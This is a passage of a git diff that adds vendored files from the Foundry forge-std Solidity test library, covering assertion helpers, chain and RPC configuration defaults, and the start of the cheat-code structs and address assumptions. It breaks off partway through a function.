+    function assertNotEq(int256[] memory left, int256[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(int256[] memory left, int256[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(address[] memory left, address[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(address[] memory left, address[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes32[] memory left, bytes32[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes32[] memory left, bytes32[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(string[] memory left, string[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(string[] memory left, string[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertNotEq(bytes[] memory left, bytes[] memory right) internal pure virtual {
+        vm.assertNotEq(left, right);
+    }
+
+    function assertNotEq(bytes[] memory left, bytes[] memory right, string memory err) internal pure virtual {
+        vm.assertNotEq(left, right, err);
+    }
+
+    function assertLt(uint256 left, uint256 right) internal pure virtual {
+        vm.assertLt(left, right);
+    }
+
+    function assertLt(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertLt(left, right, err);
+    }
+
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals);
+    }
+
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals, err);
+    }
+
+    function assertLt(int256 left, int256 right) internal pure virtual {
+        vm.assertLt(left, right);
+    }
+
+    function assertLt(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertLt(left, right, err);
+    }
+
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals);
+    }
+
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals, err);
+    }
+
+    function assertGt(uint256 left, uint256 right) internal pure virtual {
+        vm.assertGt(left, right);
+    }
+
+    function assertGt(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertGt(left, right, err);
+    }
+
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals);
+    }
+
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals, err);
+    }
+
+    function assertGt(int256 left, int256 right) internal pure virtual {
+        vm.assertGt(left, right);
+    }
+
+    function assertGt(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertGt(left, right, err);
+    }
+
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals);
+    }
+
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals, err);
+    }
+
+    function assertLe(uint256 left, uint256 right) internal pure virtual {
+        vm.assertLe(left, right);
+    }
+
+    function assertLe(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertLe(left, right, err);
+    }
+
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals);
+    }
+
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals, err);
+    }
+
+    function assertLe(int256 left, int256 right) internal pure virtual {
+        vm.assertLe(left, right);
+    }
+
+    function assertLe(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertLe(left, right, err);
+    }
+
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals);
+    }
+
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals, err);
+    }
+
+    function assertGe(uint256 left, uint256 right) internal pure virtual {
+        vm.assertGe(left, right);
+    }
+
+    function assertGe(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertGe(left, right, err);
+    }
+
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals);
+    }
+
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals, err);
+    }
+
+    function assertGe(int256 left, int256 right) internal pure virtual {
+        vm.assertGe(left, right);
+    }
+
+    function assertGe(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertGe(left, right, err);
+    }
+
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals);
+    }
+
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals, err);
+    }
+
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta);
+    }
+
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta, string memory err) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta, err);
+    }
+
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals);
+    }
+
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals, err);
+    }
+
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta);
+    }
+
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta, string memory err) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta, err);
+    }
+
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals);
+    }
+
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals, err);
+    }
+
+    function assertApproxEqRel(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta // An 18 decimal fixed point number, where 1e18 == 100%
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta);
+    }
+
+    function assertApproxEqRel(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta, err);
+    }
+
+    function assertApproxEqRelDecimal(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals);
+    }
+
+    function assertApproxEqRelDecimal(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals,
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals, err);
+    }
+
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta);
+    }
+
+    function assertApproxEqRel(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta, err);
+    }
+
+    function assertApproxEqRelDecimal(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals);
+    }
+
+    function assertApproxEqRelDecimal(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals,
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals, err);
+    }
+
+    // Inhertied from DSTest, not used but kept for backwards-compatibility
+    function checkEq0(bytes memory left, bytes memory right) internal pure returns (bool) {
+        return keccak256(left) == keccak256(right);
+    }
+
+    function assertEq0(bytes memory left, bytes memory right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertEq0(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        assertEq(left, right, err);
+    }
+
+    function assertNotEq0(bytes memory left, bytes memory right) internal pure virtual {
+        assertNotEq(left, right);
+    }
+
+    function assertNotEq0(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        assertNotEq(left, right, err);
+    }
+
+    function assertEqCall(address target, bytes memory callDataA, bytes memory callDataB) internal virtual {
+        assertEqCall(target, callDataA, target, callDataB, true);
+    }
+
+    function assertEqCall(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB) internal virtual {
+        assertEqCall(targetA, callDataA, targetB, callDataB, true);
+    }
+
+    function assertEqCall(address target, bytes memory callDataA, bytes memory callDataB, bool strictRevertData) internal virtual {
+        assertEqCall(target, callDataA, target, callDataB, strictRevertData);
+    }
+
+    function assertEqCall(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB, bool strictRevertData) internal virtual {
+        (bool successA, bytes memory returnDataA) = address(targetA).call(callDataA);
+        (bool successB, bytes memory returnDataB) = address(targetB).call(callDataB);
+
+        if (successA && successB) {
+            assertEq(returnDataA, returnDataB, 'Call return data does not match');
+        }
+
+        if (!successA && !successB && strictRevertData) {
+            assertEq(returnDataA, returnDataB, 'Call revert data does not match');
+        }
+
+        if (!successA && successB) {
+            emit log('Error: Calls were not equal');
+            emit log_named_bytes('  Left call revert data', returnDataA);
+            emit log_named_bytes(' Right call return data', returnDataB);
+            revert('assertion failed');
+        }
+
+        if (successA && !successB) {
+            emit log('Error: Calls were not equal');
+            emit log_named_bytes('  Left call return data', returnDataA);
+            emit log_named_bytes(' Right call revert data', returnDataB);
+            revert('assertion failed');
+        }
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdChains.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdChains.sol
new file mode 100644
index 000000000..25db28622
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdChains.sol
@@ -0,0 +1,214 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {VmSafe} from './Vm.sol';
+
+/**
+ * StdChains provides information about EVM compatible chains that can be used in scripts/tests.
+ * For each chain, the chain's name, chain ID, and a default RPC URL are provided. Chains are
+ * identified by their alias, which is the same as the alias in the `[rpc_endpoints]` section of
+ * the `foundry.toml` file. For best UX, ensure the alias in the `foundry.toml` file match the
+ * alias used in this contract, which can be found as the first argument to the
+ * `setChainWithDefaultRpcUrl` call in the `initializeStdChains` function.
+ *
+ * There are two main ways to use this contract:
+ *   1. Set a chain with `setChain(string memory chainAlias, ChainData memory chain)` or
+ *      `setChain(string memory chainAlias, Chain memory chain)`
+ *   2. Get a chain with `getChain(string memory chainAlias)` or `getChain(uint256 chainId)`.
+ *
+ * The first time either of those are used, chains are initialized with the default set of RPC URLs.
+ * This is done in `initializeStdChains`, which uses `setChainWithDefaultRpcUrl`. Defaults are recorded in
+ * `defaultRpcUrls`.
+ *
+ * The `setChain` function is straightforward, and it simply saves off the given chain data.
+ *
+ * The `getChain` methods use `getChainWithUpdatedRpcUrl` to return a chain. For example, let's say
+ * we want to retrieve the RPC URL for `mainnet`:
+ *   - If you have specified data with `setChain`, it will return that.
+ *   - If you have configured a mainnet RPC URL in `foundry.toml`, it will return the URL, provided it
+ *     is valid (e.g. a URL is specified, or an environment variable is given and exists).
+ *   - If neither of the above conditions is met, the default data is returned.
+ *
+ * Summarizing the above, the prioritization hierarchy is `setChain` -> `foundry.toml` -> environment variable -> defaults.
+ */
+abstract contract StdChains {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    bool private stdChainsInitialized;
+
+    struct ChainData {
+        string name;
+        uint256 chainId;
+        string rpcUrl;
+    }
+
+    struct Chain {
+        // The chain name.
+        string name;
+        // The chain's Chain ID.
+        uint256 chainId;
+        // The chain's alias. (i.e. what gets specified in `foundry.toml`).
+        string chainAlias;
+        // A default RPC endpoint for this chain.
+        // NOTE: This default RPC URL is included for convenience to facilitate quick tests and
+        // experimentation. Do not use this RPC URL for production test suites, CI, or other heavy
+        // usage as you will be throttled and this is a disservice to others who need this endpoint.
+        string rpcUrl;
+    }
+
+    // Maps from the chain's alias (matching the alias in the `foundry.toml` file) to chain data.
+    mapping(string => Chain) private chains;
+    // Maps from the chain's alias to it's default RPC URL.
+    mapping(string => string) private defaultRpcUrls;
+    // Maps from a chain ID to it's alias.
+    mapping(uint256 => string) private idToAlias;
+
+    bool private fallbackToDefaultRpcUrls = true;
+
+    // The RPC URL will be fetched from config or defaultRpcUrls if possible.
+    function getChain(string memory chainAlias) internal virtual returns (Chain memory chain) {
+        require(bytes(chainAlias).length != 0, 'StdChains getChain(string): Chain alias cannot be the empty string.');
+
+        initializeStdChains();
+        chain = chains[chainAlias];
+        require(chain.chainId != 0, string(abi.encodePacked('StdChains getChain(string): Chain with alias "', chainAlias, '" not found.')));
+
+        chain = getChainWithUpdatedRpcUrl(chainAlias, chain);
+    }
+
+    function getChain(uint256 chainId) internal virtual returns (Chain memory chain) {
+        require(chainId != 0, 'StdChains getChain(uint256): Chain ID cannot be 0.');
+        initializeStdChains();
+        string memory chainAlias = idToAlias[chainId];
+
+        chain = chains[chainAlias];
+
+        require(chain.chainId != 0, string(abi.encodePacked('StdChains getChain(uint256): Chain with ID ', vm.toString(chainId), ' not found.')));
+
+        chain = getChainWithUpdatedRpcUrl(chainAlias, chain);
+    }
+
+    // set chain info, with priority to argument's rpcUrl field.
+    function setChain(string memory chainAlias, ChainData memory chain) internal virtual {
+        require(bytes(chainAlias).length != 0, 'StdChains setChain(string,ChainData): Chain alias cannot be the empty string.');
+
+        require(chain.chainId != 0, 'StdChains setChain(string,ChainData): Chain ID cannot be 0.');
+
+        initializeStdChains();
+        string memory foundAlias = idToAlias[chain.chainId];
+
+        require(
+            bytes(foundAlias).length == 0 || keccak256(bytes(foundAlias)) == keccak256(bytes(chainAlias)),
+            string(
+                abi.encodePacked(
+                    'StdChains setChain(string,ChainData): Chain ID ',
+                    vm.toString(chain.chainId),
+                    ' already used by "',
+                    foundAlias,
+                    '".'
+                )
+            )
+        );
+
+        uint256 oldChainId = chains[chainAlias].chainId;
+        delete idToAlias[oldChainId];
+
+        chains[chainAlias] = Chain({name: chain.name, chainId: chain.chainId, chainAlias: chainAlias, rpcUrl: chain.rpcUrl});
+        idToAlias[chain.chainId] = chainAlias;
+    }
+
+    // set chain info, with priority to argument's rpcUrl field.
+    function setChain(string memory chainAlias, Chain memory chain) internal virtual {
+        setChain(chainAlias, ChainData({name: chain.name, chainId: chain.chainId, rpcUrl: chain.rpcUrl}));
+    }
+
+    function _toUpper(string memory str) private pure returns (string memory) {
+        bytes memory strb = bytes(str);
+        bytes memory copy = new bytes(strb.length);
+        for (uint256 i = 0; i < strb.length; i++) {
+            bytes1 b = strb[i];
+            if (b >= 0x61 && b <= 0x7A) {
+                copy[i] = bytes1(uint8(b) - 32);
+            } else {
+                copy[i] = b;
+            }
+        }
+        return string(copy);
+    }
+
+    // lookup rpcUrl, in descending order of priority:
+    // current -> config (foundry.toml) -> environment variable -> default
+    function getChainWithUpdatedRpcUrl(string memory chainAlias, Chain memory chain) private view returns (Chain memory) {
+        if (bytes(chain.rpcUrl).length == 0) {
+            try vm.rpcUrl(chainAlias) returns (string memory configRpcUrl) {
+                chain.rpcUrl = configRpcUrl;
+            } catch (bytes memory err) {
+                string memory envName = string(abi.encodePacked(_toUpper(chainAlias), '_RPC_URL'));
+                if (fallbackToDefaultRpcUrls) {
+                    chain.rpcUrl = vm.envOr(envName, defaultRpcUrls[chainAlias]);
+                } else {
+                    chain.rpcUrl = vm.envString(envName);
+                }
+                // Distinguish 'not found' from 'cannot read'
+                // The upstream error thrown by forge for failing cheats changed so we check both the old and new versions
+                bytes memory oldNotFoundError = abi.encodeWithSignature('CheatCodeError', string(abi.encodePacked('invalid rpc url ', chainAlias)));
+                bytes memory newNotFoundError = abi.encodeWithSignature(
+                    'CheatcodeError(string)',
+                    string(abi.encodePacked('invalid rpc url: ', chainAlias))
+                );
+                bytes32 errHash = keccak256(err);
+                if ((errHash != keccak256(oldNotFoundError) && errHash != keccak256(newNotFoundError)) || bytes(chain.rpcUrl).length == 0) {
+                    /// @solidity memory-safe-assembly
+                    assembly {
+                        revert(add(32, err), mload(err))
+                    }
+                }
+            }
+        }
+        return chain;
+    }
+
+    function setFallbackToDefaultRpcUrls(bool useDefault) internal {
+        fallbackToDefaultRpcUrls = useDefault;
+    }
+
+    function initializeStdChains() private {
+        if (stdChainsInitialized) return;
+
+        stdChainsInitialized = true;
+
+        // If adding an RPC here, make sure to test the default RPC URL in `testRpcs`
+        setChainWithDefaultRpcUrl('anvil', ChainData('Anvil', 31337, 'http://127.0.0.1:8545'));
+        setChainWithDefaultRpcUrl('mainnet', ChainData('Mainnet', 1, 'https://eth-mainnet.alchemyapi.io/v2/pwc5rmJhrdoaSEfimoKEmsvOjKSmPDrP'));
+        setChainWithDefaultRpcUrl('goerli', ChainData('Goerli', 5, 'https://goerli.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001'));
+        setChainWithDefaultRpcUrl('sepolia', ChainData('Sepolia', 11155111, 'https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001'));
+        setChainWithDefaultRpcUrl('optimism', ChainData('Optimism', 10, 'https://mainnet.optimism.io'));
+        setChainWithDefaultRpcUrl('optimism_goerli', ChainData('Optimism Goerli', 420, 'https://goerli.optimism.io'));
+        setChainWithDefaultRpcUrl('arbitrum_one', ChainData('Arbitrum One', 42161, 'https://arb1.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('arbitrum_one_goerli', ChainData('Arbitrum One Goerli', 421613, 'https://goerli-rollup.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('arbitrum_nova', ChainData('Arbitrum Nova', 42170, 'https://nova.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('polygon', ChainData('Polygon', 137, 'https://polygon-rpc.com'));
+        setChainWithDefaultRpcUrl('polygon_mumbai', ChainData('Polygon Mumbai', 80001, 'https://rpc-mumbai.maticvigil.com'));
+        setChainWithDefaultRpcUrl('avalanche', ChainData('Avalanche', 43114, 'https://api.avax.network/ext/bc/C/rpc'));
+        setChainWithDefaultRpcUrl('avalanche_fuji', ChainData('Avalanche Fuji', 43113, 'https://api.avax-test.network/ext/bc/C/rpc'));
+        setChainWithDefaultRpcUrl('bnb_smart_chain', ChainData('BNB Smart Chain', 56, 'https://bsc-dataseed1.binance.org'));
+        setChainWithDefaultRpcUrl('bnb_smart_chain_testnet', ChainData('BNB Smart Chain Testnet', 97, 'https://rpc.ankr.com/bsc_testnet_chapel'));
+        setChainWithDefaultRpcUrl('gnosis_chain', ChainData('Gnosis Chain', 100, 'https://rpc.gnosischain.com'));
+        setChainWithDefaultRpcUrl('moonbeam', ChainData('Moonbeam', 1284, 'https://rpc.api.moonbeam.network'));
+        setChainWithDefaultRpcUrl('moonriver', ChainData('Moonriver', 1285, 'https://rpc.api.moonriver.moonbeam.network'));
+        setChainWithDefaultRpcUrl('moonbase', ChainData('Moonbase', 1287, 'https://rpc.testnet.moonbeam.network'));
+        setChainWithDefaultRpcUrl('base_goerli', ChainData('Base Goerli', 84531, 'https://goerli.base.org'));
+        setChainWithDefaultRpcUrl('base', ChainData('Base', 8453, 'https://mainnet.base.org'));
+        setChainWithDefaultRpcUrl('fraxtal', ChainData('Fraxtal', 252, 'https://rpc.frax.com'));
+        setChainWithDefaultRpcUrl('fraxtal_testnet', ChainData('Fraxtal Testnet', 2522, 'https://rpc.testnet.frax.com'));
+    }
+
+    // set chain info, with priority to chainAlias' rpc url in foundry.toml
+    function setChainWithDefaultRpcUrl(string memory chainAlias, ChainData memory chain) private {
+        string memory rpcUrl = chain.rpcUrl;
+        defaultRpcUrls[chainAlias] = rpcUrl;
+        chain.rpcUrl = '';
+        setChain(chainAlias, chain);
+        chain.rpcUrl = rpcUrl; // restore argument
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/StdCheats.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdCheats.sol
new file mode 100644
index 000000000..c6b7da332
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/StdCheats.sol
@@ -0,0 +1,782 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {StdStorage, stdStorage} from './StdStorage.sol';
+import {console2} from './console2.sol';
+import {Vm} from './Vm.sol';
+
+abstract contract StdCheatsSafe {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    uint256 private constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    bool private gasMeteringOff;
+
+    // Data structures to parse Transaction objects from the broadcast artifact
+    // that conform to EIP1559. The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct RawTx1559 {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        // json value name = function
+        string functionSig;
+        bytes32 hash;
+        // json value name = tx
+        RawTx1559Detail txDetail;
+        // json value name = type
+        string opcode;
+    }
+
+    struct RawTx1559Detail {
+        AccessList[] accessList;
+        bytes data;
+        address from;
+        bytes gas;
+        bytes nonce;
+        address to;
+        bytes txType;
+        bytes value;
+    }
+
+    struct Tx1559 {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        string functionSig;
+        bytes32 hash;
+        Tx1559Detail txDetail;
+        string opcode;
+    }
+
+    struct Tx1559Detail {
+        AccessList[] accessList;
+        bytes data;
+        address from;
+        uint256 gas;
+        uint256 nonce;
+        address to;
+        uint256 txType;
+        uint256 value;
+    }
+
+    // Data structures to parse Transaction objects from the broadcast artifact
+    // that DO NOT conform to EIP1559. The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct TxLegacy {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        string functionSig;
+        string hash;
+        string opcode;
+        TxDetailLegacy transaction;
+    }
+
+    struct TxDetailLegacy {
+        AccessList[] accessList;
+        uint256 chainId;
+        bytes data;
+        address from;
+        uint256 gas;
+        uint256 gasPrice;
+        bytes32 hash;
+        uint256 nonce;
+        bytes1 opcode;
+        bytes32 r;
+        bytes32 s;
+        uint256 txType;
+        address to;
+        uint8 v;
+        uint256 value;
+    }
+
+    struct AccessList {
+        address accessAddress;
+        bytes32[] storageKeys;
+    }
+
+    // Data structures to parse Receipt objects from the broadcast artifact.
+    // The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct RawReceipt {
+        bytes32 blockHash;
+        bytes blockNumber;
+        address contractAddress;
+        bytes cumulativeGasUsed;
+        bytes effectiveGasPrice;
+        address from;
+        bytes gasUsed;
+        RawReceiptLog[] logs;
+        bytes logsBloom;
+        bytes status;
+        address to;
+        bytes32 transactionHash;
+        bytes transactionIndex;
+    }
+
+    struct Receipt {
+        bytes32 blockHash;
+        uint256 blockNumber;
+        address contractAddress;
+        uint256 cumulativeGasUsed;
+        uint256 effectiveGasPrice;
+        address from;
+        uint256 gasUsed;
+        ReceiptLog[] logs;
+        bytes logsBloom;
+        uint256 status;
+        address to;
+        bytes32 transactionHash;
+        uint256 transactionIndex;
+    }
+
+    // Data structures to parse the entire broadcast artifact, assuming the
+    // transactions conform to EIP1559.
+
+    struct EIP1559ScriptArtifact {
+        string[] libraries;
+        string path;
+        string[] pending;
+        Receipt[] receipts;
+        uint256 timestamp;
+        Tx1559[] transactions;
+        TxReturn[] txReturns;
+    }
+
+    struct RawEIP1559ScriptArtifact {
+        string[] libraries;
+        string path;
+        string[] pending;
+        RawReceipt[] receipts;
+        TxReturn[] txReturns;
+        uint256 timestamp;
+        RawTx1559[] transactions;
+    }
+
+    struct RawReceiptLog {
+        // json value = address
+        address logAddress;
+        bytes32 blockHash;
+        bytes blockNumber;
+        bytes data;
+        bytes logIndex;
+        bool removed;
+        bytes32[] topics;
+        bytes32 transactionHash;
+        bytes transactionIndex;
+        bytes transactionLogIndex;
+    }
+
+    struct ReceiptLog {
+        // json value = address
+        address logAddress;
+        bytes32 blockHash;
+        uint256 blockNumber;
+        bytes data;
+        uint256 logIndex;
+        bytes32[] topics;
+        uint256 transactionIndex;
+        uint256 transactionLogIndex;
+        bool removed;
+    }
+
+    struct TxReturn {
+        string internalType;
+        string value;
+    }
+
+    struct Account {
+        address addr;
+        uint256 key;
+    }
+
+    enum AddressType {
+        Payable,
+        NonPayable,
+        ZeroAddress,
+        Precompile,
+        ForgeAddress
+    }
+
+    // Checks that `addr` is not blacklisted by token contracts that have a blacklist.
+    function assumeNotBlacklisted(address token, address addr) internal view virtual {
+        // Nothing to check if `token` is not a contract.
+        uint256 tokenCodeSize;
+        assembly {
+            tokenCodeSize := extcodesize(token)
+        }
+        require(tokenCodeSize > 0, 'StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.');
+
+        bool success;
+        bytes memory returnData;
+
+        // 4-byte selector for `isBlacklisted(address)`, used by USDC.
+        (success, returnData) = token.staticcall(abi.encodeWithSelector(0xfe575a87, addr));
+        vm.assume(!success || abi.decode(returnData, (bool)) == false);
+
+        // 4-byte selector for `isBlackListed(address)`, used by USDT.
+        (success, returnData) = token.staticcall(abi.encodeWithSelector(0xe47d6060, addr));
+        vm.assume(!success || abi.decode(returnData, (bool)) == false);
+    }
+
+    // Checks that `addr` is not blacklisted by token contracts that have a blacklist.
+    // This is identical to `assumeNotBlacklisted(address,address)` but with a different name, for
+    // backwards compatibility, since this name was used in the original PR which has already has
+    // a release. This function can be removed in a future release once we want a breaking change.
+    function assumeNoBlacklisted(address token, address addr) internal view virtual {
+        assumeNotBlacklisted(token, addr);
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType) internal virtual {
+        if (addressType == AddressType.Payable) {
+            assumeNotPayable(addr);
+        } else if (addressType == AddressType.NonPayable) {
+            assumePayable(addr);
+        } else if (addressType == AddressType.ZeroAddress) {
+            assumeNotZeroAddress(addr);
+        } else if (addressType == AddressType.Precompile) {
+            assumeNotPrecompile(addr);
+        } else if (addressType == AddressType.ForgeAddress) {
+            assumeNotForgeAddress(addr);
+        }
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType1, AddressType addressType2) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType1, AddressType addressType2, AddressType addressType3) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+        assumeAddressIsNot(addr, addressType3);
+    }
+
+    function assumeAddressIsNot(
+        address addr,
+        AddressType addressType1,
+        AddressType addressType2,
+        AddressType addressType3,
+        AddressType addressType4
+    ) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+        assumeAddressIsNot(addr, addressType3);
+        assumeAddressIsNot(addr, addressType4);
+    }
+
+    // This function checks whether an address, `addr`, is payable. It works by sending 1 wei to
+    // `addr` and checking the `success` return value.
+    // NOTE: This function may result in state changes depending on the fallback/receive logic
+    // implemented by `addr`, which should be taken into account when this function is used.
+    function _isPayable(address addr) private returns (bool) {
+        require(addr.balance < UINT256_MAX, 'StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds');
+        uint256 origBalanceTest = address(this).balance;
+        uint256 origBalanceAddr = address(addr).balance;
+
+        vm.deal(address(this), 1);
+        (bool success, ) = payable(addr).call{value: 1}('');
+
+        // reset balances
+        vm.deal(address(this), origBalanceTest);
+        vm.deal(addr, origBalanceAddr);
+
+        return success;
+    }
+
+    // NOTE: This function may result in state changes depending on the fallback/receive logic
+    // implemented by `addr`, which should be taken into account when this function is used. See the
+    // `_isPayable` method for more information.
+    function assumePayable(address addr) internal virtual {
+        vm.assume(_isPayable(addr));
+    }
+
+    function assumeNotPayable(address addr) internal virtual {
+        vm.assume(!_isPayable(addr));
+    }
+
+    function assumeNotZeroAddress(address addr) internal pure virtual {
+        vm.assume(addr != address(0));
+    }
+
+    function assumeNotPrecompile(address addr) internal pure virtual {
+        assumeNotPrecompile(addr, _pureChainId());
+    }
+
+    function assumeNotPrecompile(address addr, uint256 chainId) internal pure virtual {
+        // Note: For some chains like Optimism these are technically predeploys (i.e. bytecode placed at a specific
+        // address), but the same rationale for excluding them applies so we include those too.
+
+        // These should be present on all EVM-compatible chains.
+        vm.assume(addr < address(0x1) || addr > address(0x9));
+
+        // forgefmt: disable-start
+        if (chainId == 10 || chainId == 420) {
